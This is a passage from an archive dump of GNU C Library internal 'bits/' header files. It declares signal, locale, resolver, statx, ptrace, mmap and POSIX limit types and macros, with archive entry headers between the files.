Timer ID. */ int si_overrun; /* Overrun count. */ __sigval_t si_sigval; /* Signal value. */ } _timer; /* POSIX.1b signals. */ struct { __pid_t si_pid; /* Sending process ID. */ __uid_t si_uid; /* Real user ID of sending process. */ __sigval_t si_sigval; /* Signal value. */ } _rt; /* SIGCHLD. */ struct { __pid_t si_pid; /* Which child. */ __uid_t si_uid; /* Real user ID of sending process. */ int si_status; /* Exit value or signal. */ __SI_CLOCK_T si_utime; __SI_CLOCK_T si_stime; } _sigchld; /* SIGILL, SIGFPE, SIGSEGV, SIGBUS. */ struct { void *si_addr; /* Faulting insn/memory ref. */ __SI_SIGFAULT_ADDL short int si_addr_lsb; /* Valid LSB of the reported address. */ union { /* used when si_code=SEGV_BNDERR */ struct { void *_lower; void *_upper; } _addr_bnd; /* used when si_code=SEGV_PKUERR */ __uint32_t _pkey; } _bounds; } _sigfault; /* SIGPOLL. */ struct { long int si_band; /* Band event for SIGPOLL. */ int si_fd; } _sigpoll; /* SIGSYS. */ #if __SI_HAVE_SIGSYS struct { void *_call_addr; /* Calling user insn. */ int _syscall; /* Triggering system call number. */ unsigned int _arch; /* AUDIT_ARCH_* of syscall. */ } _sigsys; #endif } _sifields; } siginfo_t __SI_ALIGNMENT; /* X/Open requires some more fields with fixed names. */ #define si_pid _sifields._kill.si_pid #define si_uid _sifields._kill.si_uid #define si_timerid _sifields._timer.si_tid #define si_overrun _sifields._timer.si_overrun #define si_status _sifields._sigchld.si_status #define si_utime _sifields._sigchld.si_utime #define si_stime _sifields._sigchld.si_stime #define si_value _sifields._rt.si_sigval #define si_int _sifields._rt.si_sigval.sival_int #define si_ptr _sifields._rt.si_sigval.sival_ptr #define si_addr _sifields._sigfault.si_addr #define si_addr_lsb _sifields._sigfault.si_addr_lsb #define si_lower _sifields._sigfault._bounds._addr_bnd._lower #define si_upper _sifields._sigfault._bounds._addr_bnd._upper #define si_pkey _sifields._sigfault._bounds._pkey #define si_band _sifields._sigpoll.si_band #define si_fd _sifields._sigpoll.si_fd #if __SI_HAVE_SIGSYS # define si_call_addr _sifields._sigsys._call_addr # define si_syscall _sifields._sigsys._syscall # define si_arch _sifields._sigsys._arch #endif #endif bits/types/struct_sigstack.h 0000644 00000002060 15246445046 0012246 0 ustar 00 /* Define struct sigstack. Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef __sigstack_defined #define __sigstack_defined 1 /* Structure describing a signal stack (obsolete). */ struct sigstack { void *ss_sp; /* Signal stack pointer. */ int ss_onstack; /* Nonzero if executing on this stack. */ }; #endif bits/types/__locale_t.h 0000644 00000003271 15246445046 0011117 0 ustar 00 /* Definition of struct __locale_struct and __locale_t. Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. Contributed by Ulrich Drepper <drepper@cygnus.com>, 1997. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_TYPES___LOCALE_T_H #define _BITS_TYPES___LOCALE_T_H 1 /* POSIX.1-2008: the locale_t type, representing a locale context (implementation-namespace version). This type should be treated as opaque by applications; some details are exposed for the sake of efficiency in e.g. ctype functions. */ struct __locale_struct { /* Note: LC_ALL is not a valid index into this array. */ struct __locale_data *__locales[13]; /* 13 = __LC_LAST. */ /* To increase the speed of this solution we add some special members. */ const unsigned short int *__ctype_b; const int *__ctype_tolower; const int *__ctype_toupper; /* Note: LC_ALL is not a valid index into this array. */ const char *__names[13]; }; typedef struct __locale_struct *__locale_t; #endif /* bits/types/__locale_t.h */ bits/types/__sigval_t.h 0000644 00000002173 15246445046 0011145 0 ustar 00 /* Define __sigval_t. Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef ____sigval_t_defined #define ____sigval_t_defined /* Type for data associated with a signal. */ #ifdef __USE_POSIX199309 union sigval { int sival_int; void *sival_ptr; }; typedef union sigval __sigval_t; #else union __sigval { int __sival_int; void *__sival_ptr; }; typedef union __sigval __sigval_t; #endif #endif bits/types/sig_atomic_t.h 0000644 00000000420 15246445046 0011471 0 ustar 00 #ifndef __sig_atomic_t_defined #define __sig_atomic_t_defined 1 #include <bits/types.h> /* An integral type that can be modified atomically, without the possibility of a signal arriving in the middle of the operation. */ typedef __sig_atomic_t sig_atomic_t; #endif bits/types/clockid_t.h 0000644 00000000256 15246445046 0010772 0 ustar 00 #ifndef __clockid_t_defined #define __clockid_t_defined 1 #include <bits/types.h> /* Clock ID used in clock and timer functions. */ typedef __clockid_t clockid_t; #endif bits/types/__mbstate_t.h 0000644 00000001064 15246445046 0011315 0 ustar 00 #ifndef ____mbstate_t_defined #define ____mbstate_t_defined 1 /* Integral type unchanged by default argument promotions that can hold any value corresponding to members of the extended character set, as well as at least one value that does not correspond to any member of the extended character set. */ #ifndef __WINT_TYPE__ # define __WINT_TYPE__ unsigned int #endif /* Conversion state information. */ typedef struct { int __count; union { __WINT_TYPE__ __wch; char __wchb[4]; } __value; /* Value so far. */ } __mbstate_t; #endif bits/types/__FILE.h 0000644 00000000156 15246445046 0010053 0 ustar 00 #ifndef ____FILE_defined #define ____FILE_defined 1 struct _IO_FILE; typedef struct _IO_FILE __FILE; #endif bits/types/sigevent_t.h 0000644 00000002264 15246445046 0011207 0 ustar 00 #ifndef __sigevent_t_defined #define __sigevent_t_defined 1 #include <bits/wordsize.h> #include <bits/types.h> #include <bits/types/__sigval_t.h> #define __SIGEV_MAX_SIZE 64 #if __WORDSIZE == 64 # define __SIGEV_PAD_SIZE ((__SIGEV_MAX_SIZE / sizeof (int)) - 4) #else # define __SIGEV_PAD_SIZE ((__SIGEV_MAX_SIZE / sizeof (int)) - 3) #endif /* Forward declaration. */ #ifndef __have_pthread_attr_t typedef union pthread_attr_t pthread_attr_t; # define __have_pthread_attr_t 1 #endif /* Structure to transport application-defined values with signals. */ typedef struct sigevent { __sigval_t sigev_value; int sigev_signo; int sigev_notify; union { int _pad[__SIGEV_PAD_SIZE]; /* When SIGEV_SIGNAL and SIGEV_THREAD_ID set, LWP ID of the thread to receive the signal. */ __pid_t _tid; struct { void (*_function) (__sigval_t); /* Function to start. */ pthread_attr_t *_attribute; /* Thread attributes. */ } _sigev_thread; } _sigev_un; } sigevent_t; /* POSIX names to access some of the members. */ #define sigev_notify_function _sigev_un._sigev_thread._function #define sigev_notify_attributes _sigev_un._sigev_thread._attribute #endif bits/types/struct_osockaddr.h 0000644 00000000422 15246445046 0012407 0 ustar 00 #ifndef __osockaddr_defined #define __osockaddr_defined 1 /* This is the 4.3 BSD `struct sockaddr' format, which is used as wire format in the grotty old 4.3 `talk' protocol. */ struct osockaddr { unsigned short int sa_family; unsigned char sa_data[14]; }; #endif bits/types/sigval_t.h 0000644 00000001127 15246445046 0010645 0 ustar 00 #ifndef __sigval_t_defined #define __sigval_t_defined #include <bits/types/__sigval_t.h> /* To avoid sigval_t (not a standard type name) having C++ name mangling depending on whether the selected standard includes union sigval, it should not be defined at all when using a standard for which the sigval name is not reserved; in that case, headers should not include <bits/types/sigval_t.h> and should use only the internal __sigval_t name. */ #ifndef __USE_POSIX199309 # error "sigval_t defined for standard not including union sigval" #endif typedef __sigval_t sigval_t; #endif bits/types/res_state.h 0000644 00000003731 15246445046 0011031 0 ustar 00 #ifndef __res_state_defined #define __res_state_defined 1 #include <sys/types.h> #include <netinet/in.h> /* res_state: the global state used by the resolver stub. */ #define MAXNS 3 /* max # name servers we'll track */ #define MAXDFLSRCH 3 /* # default domain levels to try */ #define MAXDNSRCH 6 /* max # domains in search path */ #define MAXRESOLVSORT 10 /* number of net to sort on */ struct __res_state { int retrans; /* retransmition time interval */ int retry; /* number of times to retransmit */ unsigned long options; /* option flags - see below. */ int nscount; /* number of name servers */ struct sockaddr_in nsaddr_list[MAXNS]; /* address of name server */ unsigned short id; /* current message id */ /* 2 byte hole here. */ char *dnsrch[MAXDNSRCH+1]; /* components of domain to search */ char defdname[256]; /* default domain (deprecated) */ unsigned long pfcode; /* RES_PRF_ flags - see below. */ unsigned ndots:4; /* threshold for initial abs. query */ unsigned nsort:4; /* number of elements in sort_list[] */ unsigned ipv6_unavail:1; /* connecting to IPv6 server failed */ unsigned unused:23; struct { struct in_addr addr; uint32_t mask; } sort_list[MAXRESOLVSORT]; /* 4 byte hole here on 64-bit architectures. */ void * __glibc_unused_qhook; void * __glibc_unused_rhook; int res_h_errno; /* last one set for this context */ int _vcsock; /* PRIVATE: for res_send VC i/o */ unsigned int _flags; /* PRIVATE: see below */ /* 4 byte hole here on 64-bit architectures. */ union { char pad[52]; /* On an i386 this means 512b total. */ struct { uint16_t nscount; uint16_t nsmap[MAXNS]; int nssocks[MAXNS]; uint16_t nscount6; uint16_t nsinit; struct sockaddr_in6 *nsaddrs[MAXNS]; #ifdef _LIBC unsigned long long int __glibc_extension_index __attribute__((packed)); #else unsigned int __glibc_reserved[2]; #endif } _ext; } _u; }; typedef struct __res_state *res_state; #endif /* __res_state_defined */ bits/types/FILE.h 0000644 00000000264 15246445046 0007555 0 ustar 00 #ifndef __FILE_defined #define __FILE_defined 1 struct _IO_FILE; /* The opaque type of streams. This is the definition used elsewhere. */ typedef struct _IO_FILE FILE; #endif bits/types/struct_statx.h 0000644 00000003550 15246445046 0011606 0 ustar 00 /* Definition of the generic version of struct statx. Copyright (C) 2018-2019 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_STAT_H # error Never include <bits/types/struct_statx.h> directly, include <sys/stat.h> instead. #endif #ifndef __statx_defined #define __statx_defined 1 /* Warning: The kernel may add additional fields to this struct in the future. Only use this struct for calling the statx function, not for storing data. (Expansion will be controlled by the mask argument of the statx function.) */ struct statx { __uint32_t stx_mask; __uint32_t stx_blksize; __uint64_t stx_attributes; __uint32_t stx_nlink; __uint32_t stx_uid; __uint32_t stx_gid; __uint16_t stx_mode; __uint16_t __statx_pad1[1]; __uint64_t stx_ino; __uint64_t stx_size; __uint64_t stx_blocks; __uint64_t stx_attributes_mask; struct statx_timestamp stx_atime; struct statx_timestamp stx_btime; struct statx_timestamp stx_ctime; struct statx_timestamp stx_mtime; __uint32_t stx_rdev_major; __uint32_t stx_rdev_minor; __uint32_t stx_dev_major; __uint32_t stx_dev_minor; __uint64_t __statx_pad2[14]; }; #endif /* __statx_defined */ bits/types/struct_timeval.h 0000644 00000000437 15246445046 0012105 0 ustar 00 #ifndef __timeval_defined #define __timeval_defined 1 #include <bits/types.h> /* A time value that is accurate to the nearest microsecond but also has a range of years. */ struct timeval { __time_t tv_sec; /* Seconds. */ __suseconds_t tv_usec; /* Microseconds. */ }; #endif bits/types/mbstate_t.h 0000644 00000000207 15246445046 0011015 0 ustar 00 #ifndef __mbstate_t_defined #define __mbstate_t_defined 1 #include <bits/types/__mbstate_t.h> typedef __mbstate_t mbstate_t; #endif bits/types/__fpos_t.h 0000644 00000000575 15246445046 0010633 0 ustar 00 #ifndef _____fpos_t_defined #define _____fpos_t_defined 1 #include <bits/types.h> #include <bits/types/__mbstate_t.h> /* The tag name of this struct is _G_fpos_t to preserve historic C++ mangled names for functions taking fpos_t arguments. That name should not be used in new code. */ typedef struct _G_fpos_t { __off_t __pos; __mbstate_t __state; } __fpos_t; #endif bits/types/stack_t.h 0000644 00000002045 15246445046 0010465 0 ustar 00 /* Define stack_t. Linux version. Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef __stack_t_defined #define __stack_t_defined 1 #define __need_size_t #include <stddef.h> /* Structure describing a signal stack. */ typedef struct { void *ss_sp; int ss_flags; size_t ss_size; } stack_t; #endif bits/types/struct_itimerspec.h 0000644 00000000440 15246445046 0012602 0 ustar 00 #ifndef __itimerspec_defined #define __itimerspec_defined 1 #include <bits/types.h> #include <bits/types/struct_timespec.h> /* POSIX.1b structure for timer start values and intervals. */ struct itimerspec { struct timespec it_interval; struct timespec it_value; }; #endif bits/types/struct_iovec.h 0000644 00000002051 15246445046 0011543 0 ustar 00 /* Define struct iovec. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef __iovec_defined #define __iovec_defined 1 #define __need_size_t #include <stddef.h> /* Structure for scatter/gather I/O. */ struct iovec { void *iov_base; /* Pointer to data. */ size_t iov_len; /* Length of data. */ }; #endif bits/ptrace-shared.h 0000644 00000005524 15246445046 0010420 0 ustar 00 /* `ptrace' debugger support interface. Linux version, not architecture-specific. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_PTRACE_H # error "Never use <bits/ptrace-shared.h> directly; include <sys/ptrace.h> instead." #endif /* Options set using PTRACE_SETOPTIONS. */ enum __ptrace_setoptions { PTRACE_O_TRACESYSGOOD = 0x00000001, PTRACE_O_TRACEFORK = 0x00000002, PTRACE_O_TRACEVFORK = 0x00000004, PTRACE_O_TRACECLONE = 0x00000008, PTRACE_O_TRACEEXEC = 0x00000010, PTRACE_O_TRACEVFORKDONE = 0x00000020, PTRACE_O_TRACEEXIT = 0x00000040, PTRACE_O_TRACESECCOMP = 0x00000080, PTRACE_O_EXITKILL = 0x00100000, PTRACE_O_SUSPEND_SECCOMP = 0x00200000, PTRACE_O_MASK = 0x003000ff }; enum __ptrace_eventcodes { /* Wait extended result codes for the above trace options. */ PTRACE_EVENT_FORK = 1, PTRACE_EVENT_VFORK = 2, PTRACE_EVENT_CLONE = 3, PTRACE_EVENT_EXEC = 4, PTRACE_EVENT_VFORK_DONE = 5, PTRACE_EVENT_EXIT = 6, PTRACE_EVENT_SECCOMP = 7, /* Extended result codes enabled by means other than options. */ PTRACE_EVENT_STOP = 128 }; /* Arguments for PTRACE_PEEKSIGINFO. */ struct __ptrace_peeksiginfo_args { __uint64_t off; /* From which siginfo to start. */ __uint32_t flags; /* Flags for peeksiginfo. */ __int32_t nr; /* How many siginfos to take. */ }; enum __ptrace_peeksiginfo_flags { /* Read signals from a shared (process wide) queue. */ PTRACE_PEEKSIGINFO_SHARED = (1 << 0) }; /* Argument and results of PTRACE_SECCOMP_GET_METADATA. */ struct __ptrace_seccomp_metadata { __uint64_t filter_off; /* Input: which filter. */ __uint64_t flags; /* Output: filter's flags. */ }; /* Perform process tracing functions. REQUEST is one of the values above, and determines the action to be taken. For all requests except PTRACE_TRACEME, PID specifies the process to be traced. PID and the other arguments described above for the various requests should appear (those that are used for the particular request) as: pid_t PID, void *ADDR, int DATA, void *ADDR2 after REQUEST. */ extern long int ptrace (enum __ptrace_request __request, ...) __THROW; bits/long-double.h 0000644 00000001633 15246445046 0010102 0 ustar 00 /* Properties of long double type. ldbl-96 version. Copyright (C) 2016-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* long double is distinct from double, so there is nothing to define here. */ bits/sysmacros.h 0000644 00000005610 15246445046 0007715 0 ustar 00 /* Definitions of macros to access `dev_t' values. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_SYSMACROS_H #define _BITS_SYSMACROS_H 1 #ifndef _SYS_SYSMACROS_H # error "Never include <bits/sysmacros.h> directly; use <sys/sysmacros.h> instead." #endif /* dev_t in glibc is a 64-bit quantity, with 32-bit major and minor numbers. Our default encoding is MMMM Mmmm mmmM MMmm, where M is a hex digit of the major number and m is a hex digit of the minor number. This is downward compatible with legacy systems where dev_t is 16 bits wide, encoded as MMmm. It is also downward compatible with the Linux kernel, which (as of 2016) uses 32-bit dev_t, encoded as mmmM MMmm. Systems that use an incompatible encoding for dev_t should override this file in the appropriate sysdeps subdirectory. */ #define __SYSMACROS_DECLARE_MAJOR(DECL_TEMPL) \ DECL_TEMPL(unsigned int, major, (__dev_t __dev)) #define __SYSMACROS_DEFINE_MAJOR(DECL_TEMPL) \ __SYSMACROS_DECLARE_MAJOR (DECL_TEMPL) \ { \ unsigned int __major; \ __major = ((__dev & (__dev_t) 0x00000000000fff00u) >> 8); \ __major |= ((__dev & (__dev_t) 0xfffff00000000000u) >> 32); \ return __major; \ } #define __SYSMACROS_DECLARE_MINOR(DECL_TEMPL) \ DECL_TEMPL(unsigned int, minor, (__dev_t __dev)) #define __SYSMACROS_DEFINE_MINOR(DECL_TEMPL) \ __SYSMACROS_DECLARE_MINOR (DECL_TEMPL) \ { \ unsigned int __minor; \ __minor = ((__dev & (__dev_t) 0x00000000000000ffu) >> 0); \ __minor |= ((__dev & (__dev_t) 0x00000ffffff00000u) >> 12); \ return __minor; \ } #define __SYSMACROS_DECLARE_MAKEDEV(DECL_TEMPL) \ DECL_TEMPL(__dev_t, makedev, (unsigned int __major, unsigned int __minor)) #define __SYSMACROS_DEFINE_MAKEDEV(DECL_TEMPL) \ __SYSMACROS_DECLARE_MAKEDEV (DECL_TEMPL) \ { \ __dev_t __dev; \ __dev = (((__dev_t) (__major & 0x00000fffu)) << 8); \ __dev |= (((__dev_t) (__major & 0xfffff000u)) << 32); \ __dev |= (((__dev_t) (__minor & 0x000000ffu)) << 0); \ __dev |= (((__dev_t) (__minor & 0xffffff00u)) << 12); \ return __dev; \ } #endif /* bits/sysmacros.h */ bits/mathcalls-helper-functions.h 0000644 00000003344 15246445046 0013127 0 ustar 00 /* Prototype declarations for math classification macros helpers. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* Classify given number. */ __MATHDECL_1 (int, __fpclassify,, (_Mdouble_ __value)) __attribute__ ((__const__)); /* Test for negative number. */ __MATHDECL_1 (int, __signbit,, (_Mdouble_ __value)) __attribute__ ((__const__)); /* Return 0 if VALUE is finite or NaN, +1 if it is +Infinity, -1 if it is -Infinity. */ __MATHDECL_1 (int, __isinf,, (_Mdouble_ __value)) __attribute__ ((__const__)); /* Return nonzero if VALUE is finite and not NaN. Used by isfinite macro. */ __MATHDECL_1 (int, __finite,, (_Mdouble_ __value)) __attribute__ ((__const__)); /* Return nonzero if VALUE is not a number. */ __MATHDECL_1 (int, __isnan,, (_Mdouble_ __value)) __attribute__ ((__const__)); /* Test equality. */ __MATHDECL_1 (int, __iseqsig,, (_Mdouble_ __x, _Mdouble_ __y)); /* Test for signaling NaN. */ __MATHDECL_1 (int, __issignaling,, (_Mdouble_ __value)) __attribute__ ((__const__)); bits/syslog-path.h 0000644 00000002044 15246445046 0010142 0 ustar 00 /* <bits/syslog-path.h> -- _PATH_LOG definition Copyright (C) 2006-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SYSLOG_H # error "Never include this file directly. Use <sys/syslog.h> instead" #endif #ifndef _BITS_SYSLOG_PATH_H #define _BITS_SYSLOG_PATH_H 1 #define _PATH_LOG "/dev/log" #endif /* bits/syslog-path.h */ bits/sys_errlist.h 0000644 00000002277 15246445046 0010262 0 ustar 00 /* Declare sys_errlist and sys_nerr, or don't. Compatibility (do) version. Copyright (C) 2002-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _STDIO_H # error "Never include <bits/sys_errlist.h> directly; use <stdio.h> instead." #endif /* sys_errlist and sys_nerr are deprecated. Use strerror instead. */ #ifdef __USE_MISC extern int sys_nerr; extern const char *const sys_errlist[]; #endif #ifdef __USE_GNU extern int _sys_nerr; extern const char *const _sys_errlist[]; #endif bits/mqueue2.h 0000644 00000004146 15246445046 0007260 0 ustar 00 /* Checking macros for mq functions. Copyright (C) 2007-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _FCNTL_H # error "Never include <bits/mqueue2.h> directly; use <mqueue.h> instead." #endif /* Check that calls to mq_open with O_CREAT set have an appropriate third and fourth parameter. */ extern mqd_t mq_open (const char *__name, int __oflag, ...) __THROW __nonnull ((1)); extern mqd_t __mq_open_2 (const char *__name, int __oflag) __THROW __nonnull ((1)); extern mqd_t __REDIRECT_NTH (__mq_open_alias, (const char *__name, int __oflag, ...), mq_open) __nonnull ((1)); __errordecl (__mq_open_wrong_number_of_args, "mq_open can be called either with 2 or 4 arguments"); __errordecl (__mq_open_missing_mode_and_attr, "mq_open with O_CREAT in second argument needs 4 arguments"); __fortify_function mqd_t __NTH (mq_open (const char *__name, int __oflag, ...)) { if (__va_arg_pack_len () != 0 && __va_arg_pack_len () != 2) __mq_open_wrong_number_of_args (); if (__builtin_constant_p (__oflag)) { if ((__oflag & O_CREAT) != 0 && __va_arg_pack_len () == 0) { __mq_open_missing_mode_and_attr (); return __mq_open_2 (__name, __oflag); } return __mq_open_alias (__name, __oflag, __va_arg_pack ()); } if (__va_arg_pack_len () == 0) return __mq_open_2 (__name, __oflag); return __mq_open_alias (__name, __oflag, __va_arg_pack ()); } bits/mman.h 0000644 00000004017 15246445046 0006622 0 ustar 00 /* Definitions for POSIX memory map interface. Linux/x86_64 version. Copyright (C) 2001-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_MMAN_H # error "Never use <bits/mman.h> directly; include <sys/mman.h> instead." #endif /* The following definitions basically come from the kernel headers. But the kernel header is not namespace clean. */ /* Other flags. */ #ifdef __USE_MISC # define MAP_32BIT 0x40 /* Only give out 32-bit addresses. */ #endif /* These are Linux-specific. */ #ifdef __USE_MISC # define MAP_GROWSDOWN 0x00100 /* Stack-like segment. */ # define MAP_DENYWRITE 0x00800 /* ETXTBSY */ # define MAP_EXECUTABLE 0x01000 /* Mark it as an executable. */ # define MAP_LOCKED 0x02000 /* Lock the mapping. */ # define MAP_NORESERVE 0x04000 /* Don't check for reservations. */ # define MAP_POPULATE 0x08000 /* Populate (prefault) pagetables. */ # define MAP_NONBLOCK 0x10000 /* Do not block on IO. */ # define MAP_STACK 0x20000 /* Allocation is for a stack. */ # define MAP_HUGETLB 0x40000 /* Create huge page mapping. */ # define MAP_SYNC 0x80000 /* Perform synchronous page faults for the mapping. */ # define MAP_FIXED_NOREPLACE 0x100000 /* MAP_FIXED but do not unmap underlying mapping. */ #endif /* Include generic Linux declarations. */ #include <bits/mman-linux.h> bits/siginfo-consts-arch.h 0000644 00000000314 15246445046 0011546 0 ustar 00 /* Architecture-specific additional siginfo constants. */ #ifndef _BITS_SIGINFO_CONSTS_ARCH_H #define _BITS_SIGINFO_CONSTS_ARCH_H 1 /* This architecture has no additional siginfo constants. */ #endif bits/posix1_lim.h 0000644 00000012104 15246445046 0007752 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * POSIX Standard: 2.9.2 Minimum Values Added to <limits.h> * * Never include this file directly; use <limits.h> instead. */ #ifndef _BITS_POSIX1_LIM_H #define _BITS_POSIX1_LIM_H 1 #include <bits/wordsize.h> /* These are the standard-mandated minimum values. */ /* Minimum number of operations in one list I/O call. */ #define _POSIX_AIO_LISTIO_MAX 2 /* Minimal number of outstanding asynchronous I/O operations. */ #define _POSIX_AIO_MAX 1 /* Maximum length of arguments to `execve', including environment. */ #define _POSIX_ARG_MAX 4096 /* Maximum simultaneous processes per real user ID. */ #ifdef __USE_XOPEN2K # define _POSIX_CHILD_MAX 25 #else # define _POSIX_CHILD_MAX 6 #endif /* Minimal number of timer expiration overruns. */ #define _POSIX_DELAYTIMER_MAX 32 /* Maximum length of a host name (not including the terminating null) as returned from the 